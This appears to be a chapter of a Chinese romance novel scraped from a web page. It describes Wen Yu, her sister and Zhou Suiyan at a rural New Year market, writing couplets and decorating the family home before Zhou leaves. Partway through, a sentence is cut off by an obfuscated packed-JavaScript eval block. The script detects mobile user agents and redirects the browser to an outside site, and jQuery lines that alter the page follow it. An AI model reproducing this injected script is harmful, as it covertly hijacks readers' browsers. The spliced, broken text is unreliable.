晨光已然熹微，街上人头攒动，拥挤到找一个停车位都费劲。
温妤坐在副驾驶，指路让周遂砚将车停在一所幼儿园的旁边。现在小孩子们都放寒假了，这个位置不仅离集市近，还免费。
温楠背上毛茸茸的斜挎包，利落下车。风吹跑刘海，她立马蹦跶上前挽住温妤的胳膊，将脸埋进去说：“早餐吃啥呢？”
“不知道。”温妤确实不知道，集市的早餐大多为摆摊，品种多样，看都看不过来。
温楠没招了，转头去问周遂砚：“姐夫，我们早餐吃啥呢？”
温妤用一种格外嫌弃的眼神斜睨她：“这一声声姐夫叫的，比我这个亲姐还要加倍亲。”可当这话一出，她又后悔了，有点微妙又有点奇怪。
温楠在玩帽子上耷拉下来的小毛球，好笑道：“我哪有，明明是因为你说不知道，我才问姐夫的好吧。”
温妤盯住她细瞧，光打在她脸上，明显有回春的迹象，整体看上去没那么老成和呆滞，也更爱开口讲话，看来找的心理医生效果还不错。
周遂砚兜里的手机持续震动，他有些心不在焉地说：“一会看看。”
温妤不喜欢他那模棱两可的答案，摆明了没有走心，她的语气莫名不太好：“你要是忙的话先回去吧，其实也就那样，没什么好逛的。”
他放在兜里的手暗暗按熄手机震动，侧过脸，唇角勾了勾，“想吃你们这的特产。”
这里的烟火气息扑面而来，对面好长一条早点过道，摊位后面有很多桌子和塑料板凳。大爷大妈们一边聊八卦，一边吃早餐，其乐融融，一片祥和。
温妤带他来了一家生意最火爆的摊位，这是她们家乡出了名的早餐铺，手工肉丸和薯粉都是纯手工制作，假一赔十。
摊位的王阿姨见到温妤就说：“哎呦，你都好久没来我这做生意了，学校放寒假啦？”她转而瞧着眼前的男人面生，好奇心驱使，偷摸拉着温妤小声问：“新找的男朋友？”
稍微认识温妤的人都知道，她和贺君珩青梅竹马两小无猜。王阿姨能问出这种话，温妤断定大家已经知晓她和贺君珩分手的事，应该是贺母这个大嘴巴子传出去的，指不定背后说成啥样了。
温妤没接话，只说：“要三份大碗混搭的薯粉和肉丸，中等辣度，都要葱花。”她继而又拿了油条和驴打滚，提前结了帐。
大概等待七八分钟，早餐上齐了。
周遂砚拆开三双一次性筷子，两两筷子间相互摩擦，剔除上面扎嘴的毛刺，一人一双递过去。
温楠被喷薄而出的汤汁味香迷糊了，接过筷子，开始狼吞虎咽。她吃完碗里的还嘴馋，知会一声后跑出去别的摊位觅食了。
温妤吃饭速度很慢，碗里的薯粉还有一半，她不疾不徐地瞥向周遂砚碗里，只剩下汤汁和飘浮的肉沫，看来挺合他的胃口。
周遂砚照常额外配了杯豆浆，等她吃完，他也刚好喝完。
——
周遂砚裹紧外套，跟着带路的温妤钻进人潮，这是他第一次见识到年集这回事。
卖冻鱼的大叔穿件军大衣蹲在铁桶后，冻红的手抓起条十斤重的胖头鱼往秤上一扔，塑料袋在寒风里发出哗啦声响；糖画摊子前，老人手腕轻转，金黄糖浆在青石板上游走，转眼就变出条摇头摆尾的糖龙。
好生热闹，年味也很足。
“要不要尝尝这个？”周遂砚突然拽住温妤，视线落在前面那个手里举着串裹满芝麻的糖球的小女孩身上。
温妤也看向那串糖球，她还记得小时候偶得机会和温母去上街，因为馋别的小孩手里的糖球，在人潮涌动的大街上被温母揪着耳朵一顿破口大骂。
她微微转头看了眼周围的参照物，好像就是现在站着的这个位置，让人当猴观看。
就在她陷入回忆的间隙，周遂砚已经买了串糖球回来，“不说话权当你默认了。”
他还是那么霸道，不容置喙。
温妤咬下去，甜汁混着山楂的酸在舌尖爆开，她不禁鼻子也跟着酸涩起来，生怕眼泪掉下来，于是转移话题道：“不知道我妹跑哪里去了。”
周遂砚文明礼让挺着大肚子的孕妇，见她皱眉，“打个电话问问吧，临近年关，人多眼杂。”
而此刻的温楠，正站在年货摊子面前看人写对联，她在电话里向温妤说明具体方位，最后还不忘说一句：“我这不是给你们俩留私人空间嘛。”
温妤和周遂砚顺着温楠的方位靠近年货摊子，一来便看见穿花棉袄的大妈正在和摊主理论。
“你这福字纸太薄，去年我家贴的，还没到正月十五就被风吹破了。”
摊主举起一张烫金福字晃了晃：“大姐您放心，我们这是三层加厚辐射膜，别说刮风，下冰雹都不带怕的！”
话音刚落，温楠感觉到有人在戳自己的后背，她不乐意地回头，看清是自己姐姐后霎时恢复笑容：“姐，我们也买点窗花回去贴吧。”
要说起家里贴窗花，还是温爷爷在世的时候家里才有这项活动，他写得一手漂亮字，每年的窗花和对联都由他亲手提笔。
温妤想想也该让死气沉沉的家里多几抹鲜艳的颜色了，点点头说：“挑几张你喜欢的吧。”
温楠挑挑选选，拿了几张十字如意海棠纹和柿蒂纹形状的窗花，吃着碗里的看着锅里的，蠢蠢欲动道：“这个对联和福字还能自己写诶。”
她对自己的字很有自知之明，于是把目光放在温妤身上，用眼神示意，想让温妤来写。
温妤连忙拒绝道：“别看我，我字不好看，而且我也不会写毛笔字。”
摊主刚收完前一个客户的钱，喜笑颜开道：“我这边也可以代写。”他将晾干的几幅对联摊开，“你们看看这种字体满不满意，代写的话费用另收。”
温妤短暂地凝视红纸黑字，不丑，但也谈不上好看。商品交易没达到她心里的那把秤，花钱就不太乐意了。
“算了吧。”
温楠不死心道：“家里这么多年都没贴过对联了，我们就买一对好不好？”
摊主用精明锐利的眼神打量温妤：“你看这妹子挺想要的，过年贴对联也喜庆，亏不了一点啊。”
温妤完全能够支付这笔费用，可货不等价，她又向来没有注重情绪价值的意识，此时此刻一点都将就不了。
乞丐第一步是翻找垃圾桶想要吃饱，而不是饿死也要换一首诗，来达到所谓的灵魂共鸣。
周遂砚忽然开口问摊主：“如果是我们自己写的话，不需要收取额外的费用吧。”
温妤微微有些茫然，又有些惊讶，她原以为他会直接大手一挥说不用找零钱的。
摊主今日赚得盆满钵满，于是便不在意这一星半点的，“我们也是小本生意，当卖你们一个人情了。”生意人，说尽漂亮话，只为给谋利争取一个长远的机会。
周遂砚站在方桌前，袖口挽到小臂，露出的手腕骨节分明。他先取过一支兼毫毛笔，在清水碗里轻轻涮了涮，侧目问：“要写哪副？”
“你选吧。”温妤懒洋洋地又把问题抛回给他。
他抬眼扫过墙上的春联集锦：“就写欢天喜地度佳节，张灯结彩迎新春吧。”紧接着笔锋遇水渐次展开，像朵骤然绽放的墨色莲花。
温妤屏住呼吸，见他手腕轻悬，笔尖在红纸上方顿了顿，随即落笔。墨色在纸上晕开的瞬间，她霎时想起书法课上老师说的力透纸背。
他的字确实有这种魔力，横画起笔藏锋，收笔时带着细微的飞白，就像现在写的春字，长捺舒展如羽翼，整体藏着说不尽的妥帖。
周遂砚写横批的时候温妤伸手想碰，被他拨开：“小心蹭花，墨还没干。”他指尖沾着点墨痕，不小心印在她有纹身的手背上，变成了蛇吐墨梅。
结束后，他把笔挂回笔山，抽出纸巾将自己的手指一根根擦拭干净。
弹指之间，围住的人群突然沸腾。
“小伙子字写得真不错嘞，能帮我写一副对联吗？”
“还有我，我这有三副对联。”
“还有我，还有我。”
他们大多数都是没上过学的，却也能看出字体的好坏，趋之若鹜地想让自己的对联锦上添花。
温妤露出狡黠的神情，毫不犹豫地把周遂砚给卖了，“可以可以，上联十块钱，下联也是十块钱，横批五块钱。”她真是去哪都忘不了钻赚钱的空子。
周遂砚气笑了，默许她的财迷属性。
一共花了好几个小时，写了整整二十副对联，净赚五百块，这钱最后全部进了温楠那个毛茸茸的斜挎包里。
温妤说是赏她的零花钱。
人群散去，拍打过来的空气都是甜的。周遂砚正活络酸胀的手臂，不料一个大妈打道回府，手里挂着个显眼的红塑料袋，塞他怀里说：“这百年好合的十字绣送你俩了，等你们结婚的时候挂新房，来年生个大胖娃娃。”
温妤有些不知所措，她没想过这么早结婚，也没想过要孩子，更何况眼前之人还是周遂砚，那更不可能了。
无论是人生阅历还是家境，都是云泥之别。她想过，等这座海市蜃楼坍塌了，就回归原本寡淡无味的生活。
——
暮色漫上来，盖住整个天空。
温妤透过挡风玻璃，远远瞧见温奶奶戴着毛线帽子，坐在院子门口朝路口的方向张望。她火急火燎跳下车，酸涩道：“这么冷的天，怎么坐在这里啊？”
温奶奶挣扎着起身：“我猜你们快回来了。”她还掀开难翻的衣角说：“我身上贴了暖宝宝，不冷。”
温妤真是拿她这个老小孩没办法。
温奶奶看向周遂砚，小心翼翼道：“我们这边的小集市还可以吧。”
温妤不喜欢温奶奶对待周遂砚的态度，总有种把自己放在低位的姿态，去刻意讨好他，尽管知道奶奶所做的一切都是为了自己好。
周遂砚随和道：“挺有意思的。”
“奶奶，我们今天买了好多东西，你快看。”温
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16691326|180393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
楠拎着的袋子撑得鼓鼓囊囊，里面有她精心挑的窗花、周遂砚写的对联，还有那副被大妈硬塞进来的百年好合十字绣。
温楠小嘴不停地跟温奶奶念叨今日的见闻，没一会儿便搀扶着她回屋，把温妤和周遂砚两人甩在身后。
茫茫夜色里，温妤又听见周遂砚的手机来电铃声，还有他毫无情绪地回应对面说今晚回去。
她站在风中，心情被风吹得摇摆不定，七零八落。
温楠发现两人还没进来，加大音量朝外头喊：“姐，姐夫，快来贴对联和窗花！”
周遂砚循着声音看过去，和电话里的人说：“我这边还有事，先挂了。”
等走近，温妤发现温楠还在捣鼓那些小玩意儿，她站定，轻声道：“明天再来贴吧，现在很晚了。”实则她不想耽误周遂砚的时间。
温楠一边打蝴蝶结，一边很认真地说：“打铁要趁热，明天肯定达不到当下的期待感。”她见姐姐脸上没有半分松动，补充说：“反正我们闲着也是闲着，何况现在时间还早。”
冬天只是外面的天色暗得快，指针现在还没有拨到七点。
温奶奶端着一个陶碗，里面装着刚洗好的冬枣，“妹妹要贴随她去咯。”
温妤执拗不过，真是不是一家人不进一家门。
门的两边朝里敞开，刚好光线很足。温妤把下午买的半卷胶带从袋子里掏出来。
她看周遂砚举着横批在门上比对，仰着脖子喊：“再往左边高一点。”
他左手捏着胶带边缘，右手举横批的姿势像举着什么易碎品。风卷着湿气刮过，红纸边角突然打在他的手背上，胶带啪嗒掉在地上。
温妤弯腰捡胶带，阴阳道：“没贴过对联？”
周遂砚低头看他，“贴是贴过，就是你这指挥比我贴还累，往左还是往右？”
“别动！”她按住他举着横批的手，指尖在他手背上压出红印，“就这个位置。”
胶带撕拉时发出滋滋声响，她听见他在头顶轻笑，“刚才还说左，现在又说就这个位置，你的嘴变得比天气预报还快。”
温妤灵光一闪，报复性将胶带贴在他指骨上，旋即招牌死亡微笑。
温楠刚找米糊回来，轻咳了两声，闹出点死动静。
周遂砚岿然不动，温妤慌忙抽回还贴在他手背上的手，横批已经歪了半寸。
温楠捣碎搅拌米糊时，脸上的笑容就没下来过，“我什么都没有看见喔。”此地无银三百两。
对联在门框两侧贴妥，最后贴门心时，温楠执意要贴那对福字倒着的小斗方。温妤蹲在门边涂米糊，又把福字往门板上按，拇指在金粉字中心按出个浅窝。
“小时候爷爷说过，倒贴福字要按三下，福气才能扎根。”她说话时，睫毛在眼下投出小扇子似的影。
周遂砚一声不响地盯着她的睫毛看，很长，很浓密，也很卷翘。
看着眼前的福字，温妤其实挺难过的。很久很久都没感受过年味了，抓住热闹和幸福的瞬间，她更害怕的是它们消失所带来的落差感。
温楠捂着冻红的耳朵，又哈着气给自己暖手，“再把窗花贴完就完事了。”
话音刚落不过瞬息，周遂砚放在凳子上的手机又响了，铃声如同催命鬼一样不请自来。
温妤的内心隐隐有些失落。
果然热闹和幸福都是不属于自己的。
不知道电话那头说了什么，周遂砚眉宇间涌现不悦，回答说：“现在回来。”
她知道，他又要离开了。
温奶奶下完米，切好菜，进门听见周遂砚说要走，加快脚步上前说：“很快就吃饭了。”
他穿好外套，“我有事得马上赶回去。”
温妤不知道他口中的有事到底是什么事，她无权过问，他也从来不会主动告诉她。
“怪我，动作太磨蹭了。”温奶奶有些自责，见周遂砚就要走，推着温妤向前说：囡囡，你快去送送。”
引擎发动的声音打破了安静，车头灯的光柱刺破夜色，在凹凸不平的路边上投出两道长长的光带。
车窗缓缓降下，露出周遂砚那张周正的脸。他扭头看向立在距离自己一米远的温妤，她缩着脖子，被风吹得有些摇摇欲坠。
这一刻他是动了恻隐之心的，但和外公去拜访的那位故人，对他在青盏剧院的股东候选大有裨益。外公在电话里也一再提醒，对方的时间很难约，错过了明天，基本就没机会了。
理智占尽上风，他开口说：“走了。”
哪怕他的声音很低，也没什么温度，在寂静的夜色里温妤还是可以听得很清楚。她站在原地没动，只是微微点了一下脑袋。太微小了，在他看来几乎没有回应。
车转弯时，尾灯晃了两下，犹如两颗快要熄灭的星。直到那点红光彻底消失在路口拐角，温妤才转身低着头往回走。
风却更冷了。
她那句快到嘴边的注意安全，归隐进难耐的冷空气里，尔后消散不见。